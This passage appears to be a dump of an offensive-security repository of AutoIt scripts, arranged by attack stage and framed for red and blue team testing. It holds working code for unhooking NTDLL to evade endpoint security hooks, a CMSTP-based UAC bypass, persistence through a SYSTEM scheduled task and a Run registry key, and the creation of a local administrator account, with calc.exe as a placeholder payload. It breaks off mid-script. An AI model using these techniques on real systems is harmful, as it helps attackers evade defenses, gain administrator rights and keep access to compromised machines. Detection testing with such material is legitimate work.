77 | Return $handles 78 | EndFunc 79 | 80 | Func _CleanupHandles() 81 | If $g_hNTDLL Then 82 | DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $g_hNTDLL) 83 | $g_hNTDLL = 0 84 | EndIf 85 | 86 | DllCall("kernel32.dll", "bool", "FlushInstructionCache", "handle", -1, "ptr", 0, "dword", 0) 87 | EndFunc 88 | 89 | Func _RestoreHandles($handles) 90 | If Not IsDllStruct($handles) Then Return False 91 | 92 | $g_hNTDLL = DllStructGetData($handles, "NTDLL") 93 | Return True 94 | EndFunc 95 | 96 | Func SafeInitialize() 97 | Local $success = False 98 | 99 | Local $timer = TimerInit() 100 | 101 | Do 102 | If Initialize() Then 103 | $success = True 104 | ExitLoop 105 | EndIf 106 | 107 | If TimerDiff($timer) > 5000 Then ; 5 second timeout 108 | LogWrite("Initialize timed out after 5 seconds") 109 | ExitLoop 110 | EndIf 111 | 112 | Sleep(100) 113 | Until False 114 | 115 | Return $success 116 | EndFunc 117 | 118 | Func LogWrite($sText) 119 | Local $existing = GUICtrlRead($g_idLog) 120 | GUICtrlSetData($g_idLog, $existing & $sText & @CRLF) 121 | ; Auto-scroll to bottom 122 | _GUICtrlEdit_Scroll($g_idLog, $SB_PAGEDOWN) 123 | EndFunc 124 | 125 | Func GetNTDLLInfo() 126 | Local $hNTDLL = DllCall("kernel32.dll", "handle", "GetModuleHandleA", "str", "ntdll.dll")[0] 127 | If @error Or $hNTDLL = 0 Then 128 | LogWrite("Error: Failed to get NTDLL handle.") 129 | Return SetError(1, 0, 0) 130 | EndIf 131 | LogWrite("NTDLL Base Address: 0x" & Hex($hNTDLL)) 132 | Return $hNTDLL 133 | EndFunc 134 | 135 | Func DumpMemorySection($hProcess, $baseAddr, $size) 136 | If $baseAddr = 0 Then 137 | LogWrite("Error: Invalid base address") 138 | Return SetError(1, 0, 0) 139 | EndIf 140 | 141 | Local $buffer = DllStructCreate("byte[" & $size & "]") 142 | If @error Then 143 | LogWrite("Error: Failed to create buffer structure") 144 | Return SetError(2, 0, 0) 145 | EndIf 146 | 147 | Local $bytesRead 148 | Local $oldProtect 149 | 150 | LogWrite("Attempting to read memory at: 0x" & Hex($baseAddr)) 151 | 152 | Local $protect = DllCall("kernel32.dll", "bool", "VirtualProtect", _ 153 | "ptr", $baseAddr, _ 154 | "dword", $size, _ 155 | "dword", 0x40, _ 156 | "dword*", $oldProtect) 157 | 158 | If Not $protect[0] Then 159 | LogWrite("Error: Failed to modify memory protection") 160 | Return SetError(3, 0, 0) 161 | EndIf 162 | 163 | Local $result = _WinAPI_ReadProcessMemory($hProcess, $baseAddr, DllStructGetPtr($buffer), $size, $bytesRead) 164 | 165 | DllCall("kernel32.dll", "bool", "VirtualProtect", _ 166 | "ptr", $baseAddr, _ 167 | "dword", $size, _ 168 | "dword", $oldProtect, _ 169 | "dword*", $oldProtect) 170 | 171 | If Not $result Or $bytesRead = 0 Then 172 | LogWrite("Error: Failed to read memory section. Result: " & $result & " BytesRead: " & $bytesRead) 173 | Return SetError(4, 0, 0) 174 | EndIf 175 | 176 | LogWrite("Successfully read " & $bytesRead & " bytes") 177 | Return $buffer 178 | EndFunc 179 | 180 | Func TakeInitialSnapshot() 181 | Local $hNTDLL = GetNTDLLInfo() 182 | If @error Then 183 | MsgBox(16, "Error", "Failed to get NTDLL info") 184 | Return False 185 | EndIf 186 | 187 | Local $hProcess = _WinAPI_GetCurrentProcess() 188 | Local $functions = ["NtCreateFile", "NtReadFile", "NtWriteFile", "NtClose"] 189 | Local $monitorSize = 0x200 190 | 191 | For $i = 0 To UBound($functions) - 1 192 | LogWrite(@CRLF & "Processing " & $functions[$i] & "...") 193 | 194 | Local $funcAddr = DllCall("kernel32.dll", "ptr", "GetProcAddress", "handle", $hNTDLL, "str", $functions[$i])[0] 195 | If @error Or Not $funcAddr Then 196 | LogWrite("Failed to get address for " & $functions[$i]) 197 | ContinueLoop 198 | EndIf 199 | 200 | LogWrite("Taking initial snapshot of " & $functions[$i] & " at: 0x" & Hex($funcAddr)) 201 | $g_aSnapshots[$i] = DumpMemorySection($hProcess, $funcAddr, $monitorSize) 202 | $g_aAddresses[$i] = $funcAddr 203 | 204 | If @error Then 205 | LogWrite("Failed to take initial snapshot of " & $functions[$i]) 206 | ContinueLoop 207 | EndIf 208 | Next 209 | 210 | LogWrite(@CRLF & "Initial snapshots completed.") 211 | Return True 212 | EndFunc 213 | 214 | Func ModifyNTDLL() 215 | LogWrite(@CRLF & "Starting NTDLL modification...") 216 | 217 | ; Store old state before modification 218 | Local $oldState = _SaveCurrentState() 219 | If @error Then 220 | LogWrite("Failed to save current state") 221 | Return False 222 | EndIf 223 | 224 | $g_hNTDLL = GetNTDLLInfo() 225 | If @error Or Not $g_hNTDLL Then 226 | LogWrite("Failed to get NTDLL handle") 227 | Return False 228 | EndIf 229 | 230 | Local $NtCreateFile = DllCall("kernel32.dll", "ptr", "GetProcAddress", "handle", $g_hNTDLL, "str", "NtCreateFile")[0] 231 | If @error Or Not $NtCreateFile Then 232 | LogWrite("Failed to get NtCreateFile address") 233 | Return False 234 | EndIf 235 | 236 | ; Add proper memory barrier before modification 237 | DllCall("kernel32.dll", "bool", "FlushInstructionCache", "handle", -1, "ptr", 0, "dword", 0) 238 | Sleep(100) 239 | 240 | Local $oldProtect 241 | Local $result = DllCall("kernel32.dll", "bool", "VirtualProtect", _ 242 | "ptr", $NtCreateFile, _ 243 | "dword", 16, _ 244 | "dword", 0x40, _ 245 | "dword*", $oldProtect) 246 | 247 | If Not $result[0] Then 248 | LogWrite("VirtualProtect failed: " & _WinAPI_GetLastError()) 249 | Return False 250 | EndIf 251 | 252 | ; Save the original bytes before modification 253 | Local $originalBytes = DllStructCreate("byte[16]") 254 | Local $bytesRead 255 | _WinAPI_ReadProcessMemory(_WinAPI_GetCurrentProcess(), $NtCreateFile, DllStructGetPtr($originalBytes), 16, $bytesRead) 256 | 257 | ; Store original bytes in global variable for restoration 258 | $g_OriginalBytes = $originalBytes 259 | 260 | Local $testPattern = DllStructCreate("byte[16]") 261 | For $i = 1 To 16 262 | DllStructSetData($testPattern, 1, 0x90, $i) 263 | Next 264 | 265 | Local $bytesWritten 266 | $result = _WinAPI_WriteProcessMemory(_WinAPI_GetCurrentProcess(), $NtCreateFile, DllStructGetPtr($testPattern), 16, $bytesWritten) 267 | 268 | ; Set modified flag and store modification info 269 | $g_bModified = True 270 | $g_ModifiedAddress = $NtCreateFile 271 | $g_ModifiedSize = 16 272 | 273 | DllCall("kernel32.dll", "bool", "FlushInstructionCache", "handle", -1, "ptr", 0, "dword", 0) 274 | 275 | ; Restore protection 276 | DllCall("kernel32.dll", "bool", "VirtualProtect", _ 277 | "ptr", $NtCreateFile, _ 278 | "dword", 16, _ 279 | "dword", $oldProtect, _ 280 | "dword*", $oldProtect) 281 | 282 | Sleep(1000) ; Give system time to stabilize 283 | 284 | If Not $result Then 285 | LogWrite("WriteProcessMemory failed: " & _WinAPI_GetLastError()) 286 | Return False 287 | EndIf 288 | 289 | LogWrite("Successfully modified NTDLL") 290 | Return True 291 | EndFunc 292 | 293 | Func HandleUnhookNTDLL() 294 | LogWrite("Starting unhook sequence...") 295 | 296 | 297 | ; Try initialize with retry mechanism 298 | Local $retryCount = 0 299 | Local $success = False 300 | 301 | While $retryCount < 3 302 | If Initialize() Then 303 | $success = True 304 | ExitLoop 305 | EndIf 306 | 307 | $retryCount += 1 308 | LogWrite("Initialize attempt " & $retryCount & " failed, retrying...") 309 | Sleep(1000) 310 | WEnd 311 | 312 | If Not $success Then 313 | LogWrite("All Initialize attempts failed") 314 | Return False 315 | EndIf 316 | 317 | LogWrite("Successfully unhooked NTDLL") 318 | Return True 319 | EndFunc 320 | 321 | Func CheckForChanges() 322 | If Not IsDllStruct($g_aSnapshots[0]) Then 323 | MsgBox(16, "Error", "No initial snapshots available. Please take snapshots first.") 324 | Return False 325 | EndIf 326 | 327 | Local $hProcess = _WinAPI_GetCurrentProcess() 328 | Local $functions = ["NtCreateFile", "NtReadFile", "NtWriteFile", "NtClose"] 329 | Local $monitorSize = 0x200 330 | Local $changesFound = False 331 | 332 | For $i = 0 To UBound($functions) - 1 333 | If Not IsDllStruct($g_aSnapshots[$i]) Then 334 | LogWrite("Skipping " & $functions[$i] & " - No initial snapshot available") 335 | ContinueLoop 336 | EndIf 337 | 338 | Local $newDump = DumpMemorySection($hProcess, $g_aAddresses[$i], $monitorSize) 339 | If @error Then 340 | LogWrite("Failed to take second snapshot of " & $functions[$i]) 341 | ContinueLoop 342 | EndIf 343 | 344 | Local $differences = 0 345 | Local $modifications = "" 346 | 347 | For $j = 1 To $monitorSize 348 | Local $byte1 = DllStructGetData($g_aSnapshots[$i], 1, $j) 349 | Local $byte2 = DllStructGetData($newDump, 1, $j) 350 | 351 | If $byte1 <> $byte2 Then 352 | $differences += 1 353 | $modifications &= StringFormat(" Offset 0x%02X: %02X -> %02X", $j-1, $byte1, $byte2) & @CRLF 354 | $changesFound = True 355 | EndIf 356 | Next 357 | 358 | If $differences > 0 Then 359 | LogWrite(@CRLF & $functions[$i] & " was modified!") 360 | LogWrite("Found " & $differences & " changes:") 361 | LogWrite($modifications) 362 | Else 363 | LogWrite($functions[$i] & " was not modified.") 364 | EndIf 365 | Next 366 | 367 | Return True 368 | EndFunc 369 | 370 | Func GetStructData($struct, $element, $index = 0) 371 | If $index = 0 Then 372 | Return DllStructGetData($struct, $element) 373 | Else 374 | Return DllStructGetData($struct, $element, $index) 375 | EndIf 376 | EndFunc 377 | Func Initialize() 378 | 379 | 380 | ; Set up error handler 381 | AutoItSetOption("MustDeclareVars", 1) 382 | AutoItSetOption("TrayIconDebug", 1) 383 | 384 | LogWrite(@CRLF & "Starting NTDLL unhooking process with crash debugging...") 385 | 386 | 387 | If $g_bModified Then 388 | LogWrite("Warning: NTDLL is in modified state. Ensuring cleanup...") 389 | 390 | _CleanupHandles() 391 | Sleep(1000) ; Give system time to stabilize 392 | EndIf 393 | 394 | ; Get current memory state before we start 395 | Local $initialMemInfo = DllStructCreate("dword_ptr WorkingSetSize") 396 | DllCall("kernel32.dll", "bool", "GetProcessMemoryInfo", "handle", _WinAPI_GetCurrentProcess(), "ptr", DllStructGetPtr($initialMemInfo), "dword", DllStructGetSize($initialMemInfo)) 397 | LogWrite("Initial Working Set Size: " & DllStructGetData($initialMemInfo, "WorkingSetSize")) 398 | 399 | 400 | ; First, try to get current NTDLL state 401 | Local $ntdllBase = DllCall("kernel32.dll", "ptr", "GetModuleHandleA", "str", "ntdll.dll") 402 | If @error Or Not $ntdllBase[0] Then 403 | 404 | LogWrite("Failed to get NTDLL base address: " & _WinAPI_GetLastError()) 405 | Return False 406 | EndIf 407 | 408 | LogWrite("NTDLL Base Address: 0x" & Hex($ntdllBase[0])) 409 | 410 | 411 | ; Force a memory barrier 412 | DllCall("kernel32.dll", "bool", "FlushInstructionCache", "handle", -1, "ptr", 0, "dword", 0) 413 | Sleep(100) 414 | 415 | ; Try to query NTDLL memory region with retry 416 | Local $mbi = DllStructCreate("ptr BaseAddress;ptr AllocationBase;dword AllocationProtect;ptr RegionSize;dword State;dword Protect;dword Type") 417 | Local $queryRetries = 0 418 | Local $querySuccess = False 419 | 420 | While $queryRetries < 3 421 | Local $result = DllCall("kernel32.dll", "uint", "VirtualQueryEx", _ 422 | "handle", _WinAPI_GetCurrentProcess(), _ 423 | "ptr", $ntdllBase[0], _ 424 | "ptr", DllStructGetPtr($mbi), _ 425 | "uint_ptr", DllStructGetSize($mbi)) 426 | 427 | If Not @error And $result[0] <> 0 Then 428 | $querySuccess = True 429 | ExitLoop 430 | EndIf 431 | 432 | $queryRetries += 1 433 | 434 | Sleep(100) 435 | WEnd 436 | 437 | If Not $querySuccess Then 438 | 439 | Return False 440 | EndIf 441 | 442 | LogWrite("NTDLL Memory Region Info:") 443 | LogWrite(" Protection: 0x" & Hex(DllStructGetData($mbi, "Protect"))) 444 | LogWrite(" State: 0x" & Hex(DllStructGetData($mbi, "State"))) 445 | LogWrite(" Type: 0x" & Hex(DllStructGetData($mbi, "Type"))) 446 | 447 | 448 | ; Get current process handle 449 | $var_294 = DllCall("kernel32.dll", "hwnd", "GetCurrentProcess") 450 | If @error Then 451 | 452 | Return False 453 | EndIf 454 | LogWrite("Successfully got current process handle") 455 | 456 | ; Create structure for module information with proper size 457 | Local $MODULEINFO = "ptr BaseOfDll;dword SizeOfImage;ptr EntryPoint" 458 | $var_229 = DllStructCreate($MODULEINFO) 459 | If @error Then 460 | 461 | Return False 462 | EndIf 463 | 464 | ; Get NTDLL module handle with retry mechanism 465 | Local $retryCount = 0 466 | Do 467 | $var_190 = DllCall("kernel32.dll", "hwnd", "GetModuleHandleA", "str", "ntdll.dll") 468 | If Not @error And $var_190[0] Then ExitLoop 469 | $retryCount += 1 470 | Sleep(100) 471 | 472 | Until $retryCount >= 3 473 | 474 | If @error Or Not $var_190[0] Then 475 | 476 | Return False 477 | EndIf 478 | LogWrite("Got NTDLL module handle at: 0x" & Hex($var_190[0])) 479 | 480 | ; Memory protection verification 481 | Local $oldProtect 482 | Local $protectResult = DllCall("kernel32.dll", "bool", "VirtualProtect", _ 483 | "ptr", $var_190[0], _ 484 | "dword", 0x1000, _ 485 | "dword", 0x40, _ ; PAGE_EXECUTE_READWRITE 486 | "dword*", $oldProtect) 487 | 488 | 489 | ; Additional memory safeguards 490 | DllCall("kernel32.dll", "bool", "FlushInstructionCache", "handle", -1, "ptr", 0, "dword", 0) 491 | 492 | Local $mbiCheck = DllStructCreate("ptr BaseAddress;ptr AllocationBase;dword AllocationProtect;ptr RegionSize;dword State;dword Protect;dword Type") 493 | DllCall("kernel32.dll", "uint", "VirtualQueryEx", _ 494 | "handle", _WinAPI_GetCurrentProcess(), _ 495 | "ptr", $var_190[0], _ 496 | "ptr", DllStructGetPtr($mbiCheck), _ 497 | "uint_ptr", DllStructGetSize($mbiCheck)) 498 | 499 | If DllStructGetData($mbiCheck, "Protect") <> 0x40 Then 500 | Local $tempOldProtect 501 | DllCall("kernel32.dll", "bool", "VirtualProtect", _ 502 | "ptr", $var_190[0], _ 503 | "dword", 0x1000, _ 504 | "dword", 0x40, _ 505 | "dword*", $tempOldProtect) 506 | Sleep(100) 507 | EndIf 508 | 509 | ; Get module information with alternative method if needed 510 | Local $moduleInfoResult = DllCall("psapi.dll", "bool", "GetModuleInformation", _ 511 | "handle", $var_294[0], _ 512 | "handle", $var_190[0], _ 513 | "struct*", $var_229, _ 514 | "dword", DllStructGetSize($var_229)) 515 | 516 | Local $lastError = _WinAPI_GetLastError() 517 | If @error Or Not $moduleInfoResult[0] Then 518 | 519 | 520 | $moduleInfoResult = DllCall("kernel32.dll", "bool", "K32GetModuleInformation", _ 521 | "handle", $var_294[0], _ 522 | "handle", $var_190[0], _ 523 | "struct*", $var_229, _ 524 | "dword", DllStructGetSize($var_229)) 525 | 526 | If @error Or Not $moduleInfoResult[0] Then 527 | 528 | $var_175 = $var_190[0] 529 | Else 530 | 531 | $var_175 = DllStructGetData($var_229, "BaseOfDll") 532 | EndIf 533 | Else 534 | 535 | $var_175 = DllStructGetData($var_229, "BaseOfDll") 536 | EndIf 537 | 538 | LogWrite("Using base address: 0x" & Hex($var_175)) 539 | 540 | 541 | 542 | 543 | Sleep(500) 544 | 545 | Local $lockAttempts = 0 546 | While $lockAttempts < 3 547 | Local $testRead = DllStructCreate("byte[16]") 548 | Local $bytesRead = 0 549 | Local $readResult = _WinAPI_ReadProcessMemory(_WinAPI_GetCurrentProcess(), $var_175, DllStructGetPtr($testRead), 16, $bytesRead) 550 | 551 | If $readResult Then 552 | 553 | ExitLoop 554 | EndIf 555 | 556 | $lockAttempts += 1 557 | 558 | Sleep(200) 559 | WEnd 560 | 561 | If $lockAttempts >= 3 Then 562 | 563 | EndIf 564 | 565 | ; Open NTDLL file 566 | 567 | $var_261 = DllCall("kernel32.dll", "hwnd", "CreateFileA", "str", @SystemDir & "\ntdll.dll", "dword", 0x80000000, "dword", 0x1, "ptr", 0x0, "dword", 0x3, "dword", 0x0, "ptr", 0x0) 568 | If @error Or $var_261[0] = -1 Then 569 | 570 | Return False 571 | EndIf 572 | LogWrite("Successfully opened NTDLL file from: " & @SystemDir & "\ntdll.dll") 573 | 574 | ; Create file mapping 575 | 576 | $var_269 = DllCall("kernel32.dll", "hwnd", "CreateFileMapping", "hwnd", $var_261[0], "ptr", 0x0, "dword", 0x1000002, "dword", 0x0, "dword", 0x0, "ptr", 0x0) 577 | If @error Or Not $var_269[0] Then 578 | 579 | DllCall("kernel32.dll", "none", "CloseHandle", "hwnd", $var_261[0]) 580 | Return False 581 | EndIf 582 | LogWrite("Successfully created file mapping") 583 | 584 | ; Map view of file 585 | 586 | $addr_270 = DllCall("kernel32.dll", "ptr", "MapViewOfFile", "hwnd", $var_269[0], "dword", 0x4, "dword", 0x0, "dword", 0x0, "dword", 0x0) 587 | If @error Or Not $addr_270[0] Then 588 | 589 | DllCall("kernel32.dll", "none", "CloseHandle", "hwnd", $var_269[0]) 590 | DllCall("kernel32.dll", "none", "CloseHandle", "hwnd", $var_261[0]) 591 | Return False 592 | EndIf 593 | LogWrite("Successfully mapped view of file") 594 | 595 | ; Parse DOS header 596 | 597 | $var_158 = DllStructCreate("char Magic[2]; word BytesOnLastPage; word Pages; word Relocations; word SizeofHeader; word MinimumExtra; word MaximumExtra; word SS; word SP; word Checksum; word IP; word CS; word Relocation; word Overlay; char Reserved[8]; word OEMIdentifier; word OEMInformation; char Reserved2[20]; dword AddressOfNewExeHeader", $var_175) 598 | If @error Then 599 | 600 | Return False 601 | EndIf 602 | LogWrite("Parsed DOS header successfully") 603 | 604 | ; Parse PE header 605 | 606 | $var_164 = DllStructCreate("word Machine; word NumberOfSections; dword TimeDateStamp; dword PointerToSymbolTable; dword NumberOfSymbols; word SizeOfOptionalHeader; word Characteristics", $var_175 + GetStructData($var_158, "AddressOfNewExeHeader") + 0x4) 607 | If @error Then 608 | 609 | Return False 610 | EndIf 611 | LogWrite("Parsed PE header - Found " & GetStructData($var_164, "NumberOfSections") & " sections") 612 | 613 | ; Process sections 614 | 615 | For $var_206 = 0 To GetStructData($var_164, "NumberOfSections") - 1 616 | $var_152 = DllStructCreate("char Name[8]; dword VirtualSize; dword VirtualAddress; dword SizeOfRawData; dword PointerToRawData; dword PointerToRelocations; dword PointerToLinenumbers; word NumberOfRelocations; word NumberOfLinenumbers; dword Characteristics", $var_175 + (GetStructData($var_158, "AddressOfNewExeHeader") + 0xf8) + (0x28 * $var_206)) 617 | 618 | Local $sectionName = GetStructData($var_152, "Name") 619 | LogWrite("Processing section: " & $sectionName) 620 | 621 | 622 | If Not StringCompare($sectionName, ".text") Then 623 | LogWrite("Found .text section - Applying memory modifications") 624 | 625 | LogWrite("Section Virtual Address: 0x" & Hex(GetStructData($var_152, "VirtualAddress"))) 626 | LogWrite("Section Virtual Size: 0x" & Hex(GetStructData($var_152, "VirtualSize"))) 627 | 628 | ; Try to ensure the memory region is accessible 629 | Local $retryProtect = 0 630 | Local $success = False 631 | 632 | Do 633 | ; Change memory protection with retry mechanism 634 | $var_265 = DllCall("kernel32.dll", "bool", "VirtualProtect", _ 635 | "ptr", $var_175 + GetStructData($var_152, "VirtualAddress"), _ 636 | "dword", GetStructData($var_152, "VirtualSize"), _ 637 | "dword", 0x40, _ ; PAGE_EXECUTE_READWRITE 638 | "dword*", $oldProtect) 639 | 640 | If Not @error And $var_265[0] Then 641 | $success = True 642 | ExitLoop 643 | EndIf 644 | 645 | $retryProtect += 1 646 | 647 | Sleep(100) 648 | Until $retryProtect >= 3 649 | 650 | If Not $success Then 651 | 652 | Return False 653 | EndIf 654 | 655 | LogWrite("Previous memory protection: 0x" & Hex($var_265[4])) 656 | 657 | 658 | ; Copy clean section with verification 659 | 660 | DllCall("msvcrt.dll", "none:cdecl", "memcpy", _ 661 | "ptr", $var_175 + GetStructData($var_152, "VirtualAddress"), _ 662 | "ptr", $addr_270[0] + GetStructData($var_152, "VirtualAddress"), _ 663 | "dword", GetStructData($var_152, "VirtualSize")) 664 | 665 | If @error Then 666 | 667 | Return False 668 | EndIf 669 | 670 | ; Verify the copy 671 | Local $verifyBuf = DllStructCreate("byte[" & GetStructData($var_152, "VirtualSize") & "]") 672 | DllCall("msvcrt.dll", "none:cdecl", "memcpy", _ 673 | "ptr", DllStructGetPtr($verifyBuf), _ 674 | "ptr", $var_175 + GetStructData($var_152, "VirtualAddress"), _ 675 | "dword", GetStructData($var_152, "VirtualSize")) 676 | 677 | LogWrite("Copied clean .text section data with verification") 678 | 679 | 680 | 681 | $var_265 = DllCall("kernel32.dll", "bool", "VirtualProtect", _ 682 | "ptr", $var_175 + GetStructData($var_152, "VirtualAddress"), _ 683 | "dword", GetStructData($var_152, "VirtualSize"), _ 684 | "dword", $var_265[4], _ 685 | "dword*", $oldProtect) 686 | 687 | If @error Or Not $var_265[0] Then 688 | LogWrite("Warning: Failed to restore memory protection: " & _WinAPI_GetLastError()) 689 | 690 | Else 691 | LogWrite("Successfully restored memory protection") 692 | 693 | EndIf 694 | 695 | 696 | DllCall("kernel32.dll", "bool", "FlushInstructionCache", "handle", -1, "ptr", 0, "dword", 0) 697 | EndIf 698 | Next 699 | 700 | DllCall("kernel32.dll", "bool", "FlushInstructionCache", "handle", -1, "ptr", 0, "dword", 0) 701 | 702 | 703 | Local $finalMemInfo = DllStructCreate("dword_ptr WorkingSetSize") 704 | DllCall("kernel32.dll", "bool", "GetProcessMemoryInfo", "handle", _WinAPI_GetCurrentProcess(), "ptr", DllStructGetPtr($finalMemInfo), "dword", DllStructGetSize($finalMemInfo)) 705 | LogWrite("Final Working Set Size: " & DllStructGetData($finalMemInfo, "WorkingSetSize")) 706 | 707 | ; Reset modified flag 708 | $g_bModified = False 709 | 710 | LogWrite("Cleanup completed - NTDLL unhooking process finished" & @CRLF) 711 | Return True 712 | EndFunc 713 | 714 | 715 | ; Main loop 716 | While 1 717 | Local $nMsg = GUIGetMsg() 718 | Switch $nMsg 719 | Case $GUI_EVENT_CLOSE, $idBtnExit 720 | Exit 721 | 722 | Case $idBtnTakeSnapshot 723 | TakeInitialSnapshot() 724 | 725 | Case $idBtnModify 726 | ModifyNTDLL() 727 | 728 | Case $idBtnCheck 729 | CheckForChanges() 730 | 731 | Case $idBtnUnhookNTDLL 732 | LogWrite("Starting unhook sequence...") 733 | ; Save current state 734 | Local $currentState = _SaveCurrentState() 735 | 736 | ; Try the unhook 737 | If Not SafeInitialize() Then 738 | LogWrite("Unhook failed - attempting to restore previous state...") 739 | _RestoreState($currentState) 740 | EndIf 741 | 742 | Case $idBtnClear 743 | GUICtrlSetData($g_idLog, "") ; Clear log window 744 | EndSwitch 745 | WEnd 746 | -------------------------------------------------------------------------------- /3 - Defense Evasion/PersistViaScheduledTask.au3: -------------------------------------------------------------------------------- 1 | #comments-start 2 | 3 | This script will need to be compiled to an excecutable via AutoIT and you will have to run it as an administrator. It will be most effective it is combined with a Privilege Escaltion, UAC bypass, or Social Engineering. It probably goes without saying, but you will want to change the file from calc.exe to whatever payload you want to test, and you may want to rename the scheduled task. Side note, the script will fail if there is already a scheduled task of a given name, so you will want to increment the task name with a number each time if you conduct multiple successive tests on the same host. Happy task scheduling! 4 | 5 | #comments-end 6 | 7 | #include 8 | 9 | ; Get the current working directory for the output file 10 | Global $sCurrentDir = @ScriptDir 11 | Global $sOutputFile = $sCurrentDir & "\output.txt" 12 | 13 | ; Define the time delay (24 hours from now) 14 | Global $sTime = _DateAdd('h', 24, _NowCalc()) 15 | 16 | ; Check if the time calculation was successful 17 | If @error Then 18 | FileWrite($sOutputFile, "Error calculating the time for 24 hours from now." & @CRLF) 19 | Exit 20 | EndIf 21 | 22 | ; Split the date and time 23 | Global $aDateTime = StringSplit($sTime, ' ') 24 | If $aDateTime[0] <> 2 Then 25 | FileWrite($sOutputFile, "Error splitting the date and time." & @CRLF) 26 | Exit 27 | EndIf 28 | 29 | ; Split the date into its components (handle slashes) 30 | Global $aDateParts = StringSplit($aDateTime[1], '/') 31 | If $aDateParts[0] <> 3 Then 32 | FileWrite($sOutputFile, "Error splitting the date into components." & @CRLF) 33 | Exit 34 | EndIf 35 | 36 | ; Format the date and time for the scheduled task 37 | Global $sFormattedDate = $aDateParts[2] & "/" & $aDateParts[3] & "/" & $aDateParts[1] 38 | Global $sFormattedTime = StringLeft($aDateTime[2], 5) 39 | 40 | ; Define the task name and the executable to run 41 | Global $sTaskName = "ScheduledTaskTest1" 42 | Global $sExecutable = "calc.exe" 43 | 44 | ; Create the scheduled task command 45 | Global $sCommand = 'SCHTASKS /CREATE /SC ONCE /TN "' & $sTaskName & '" /TR "' & $sExecutable & '" /ST ' & $sFormattedTime & ' /SD ' & $sFormattedDate & ' /RU "SYSTEM" /F > "' & $sOutputFile & '" 2>&1' 46 | 47 | ; Debugging: Write the command to the output file 48 | FileWrite($sOutputFile, "Command: " & $sCommand & @CRLF) 49 | 50 | ; Run the command 51 | RunWait(@ComSpec & " /c " & $sCommand, "", @SW_HIDE) 52 | 53 | ; Check if the command was successful 54 | If @error Then 55 | FileWrite($sOutputFile, "Error creating the scheduled task." & @CRLF) 56 | Else 57 | FileWrite($sOutputFile, "Scheduled task created to run calc.exe after 24 hours." & @CRLF) 58 | EndIf 59 | 60 | Exit 61 | -------------------------------------------------------------------------------- /3 - Defense Evasion/PersistViaScheduledTask.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/3 - Defense Evasion/PersistViaScheduledTask.exe -------------------------------------------------------------------------------- /3 - Defense Evasion/README.md: -------------------------------------------------------------------------------- 1 | These techniques work best when run as administrator, so they will usually need to be combined with a privilege escalation or UAC bypass, for red team testers. For blue / purple teams looking to validate defense and detection, simply right-click Run as Administrator on the exe version (or recompile any edited versions using AutoIT and then run as administrator). 2 | -------------------------------------------------------------------------------- /4 - Privlege Escalation/cmstp_uac.au3: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | ;First write out our INF File 5 | Local $inf_contents = '[version]' & @CRLF & _ 6 | 'Signature=$chicago$' & @CRLF & _ 7 | 'AdvancedINF=2.5' & @CRLF & _ 8 | ' ' & @CRLF & _ 9 | '[DefaultInstall]' & @CRLF & _ 10 | 'CustomDestination=CustInstDestSectionAllUsers' & @CRLF & _ 11 | 'RunPreSetupCommands=RunPreSetupCommandsSection' & @CRLF & _ 12 | ' ' & @CRLF & _ 13 | '[RunPreSetupCommandsSection]' & @CRLF & _ 14 | 'calc.exe' & @CRLF & _ 15 | 'taskkill /IM cmstp.exe /F' & @CRLF & _ 16 | ' ' & @CRLF & _ 17 | '[CustInstDestSectionAllUsers]' & @CRLF & _ 18 | '49000,49001=AllUSer_LDIDSection, 7' & @CRLF & _ 19 | ' ' & @CRLF & _ 20 | '[AllUSer_LDIDSection]' & @CRLF & _ 21 | '"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""' & @CRLF & _ 22 | ' ' & @CRLF & _ 23 | '[Strings]' & @CRLF & _ 24 | 'ServiceName="bypassit"' & @CRLF & _ 25 | 'ShortSvcName="bypassit"' & @CRLF 26 | FileWrite("C:\Windows\Tasks\cmstp.ini", $inf_contents) 27 | Run('cmstp.exe /au C:\Windows\Tasks\cmstp.ini', @WorkingDir, @SW_SHOWNORMAL) 28 | Sleep(200); 29 | Send("{ENTER}"); 30 | ;Need to wait to allow cmstp to read the file before getting rid of it 31 | Sleep(1000); 32 | FileDelete('C:\Windows\Tasks\cmstp.ini'); 33 | -------------------------------------------------------------------------------- /5 - Peristence/AddScriptToRegistry.au3: -------------------------------------------------------------------------------- 1 | ; Define reg key and value for startup 2 | Local $sRegKey = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" 3 | Local $sRegName = "notmaliciousatall" 4 | Local $sScriptPath = @ScriptFullPath 5 | 6 | ; Check if the script is already in the startup registry 7 | Local $sOutputVar = RegRead($sRegKey, $sRegName) 8 | 9 | If $sOutputVar = $sScriptPath Then 10 | ; If the script is already there, it will run this code, so put whatever here 11 | MsgBox(64, "Startup Status", "I'm In! Ribbit") 12 | Else 13 | ; Add the script to the startup registry 14 | RegWrite($sRegKey, $sRegName, "REG_SZ", $sScriptPath) 15 | EndIf 16 | 17 | Exit 18 | -------------------------------------------------------------------------------- /5 - Peristence/AddScriptToRegistry.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/5 - Peristence/AddScriptToRegistry.exe -------------------------------------------------------------------------------- /5 - Peristence/CreateNewUser.au3: -------------------------------------------------------------------------------- 1 | ; AutoIt script to create a new local user account using the "net user" command 2 | 3 | Func _CreateUser($sUsername, $sPassword, $sFullName) 4 | ; Command to create a new user 5 | Local $sCommand = 'net user "' & $sUsername & '" "' & $sPassword & '" /add /fullname:"' & $sFullName & '"' 6 | 7 | ; Run the command 8 | Local $iReturn = RunWait(@ComSpec & " /c " & $sCommand, "", @SW_HIDE) 9 | 10 | ; Check the result 11 | If $iReturn = 0 Then 12 | MsgBox(64, "Success", "The new local account was created successfully.") 13 | Else 14 | MsgBox(16, "Error", "Failed to create the new local account. Error code: " & $iReturn) 15 | Return $iReturn 16 | EndIf 17 | 18 | ; Command to add the user to the Administrators group 19 | $sCommand = 'net localgroup "Administrators" "' & $sUsername & '" /add' 20 | $iReturn = RunWait(@ComSpec & " /c " & $sCommand, "", @SW_HIDE) 21 | 22 | ; Check the result 23 | If $iReturn = 0 Then 24 | MsgBox(64, "Success", "The user 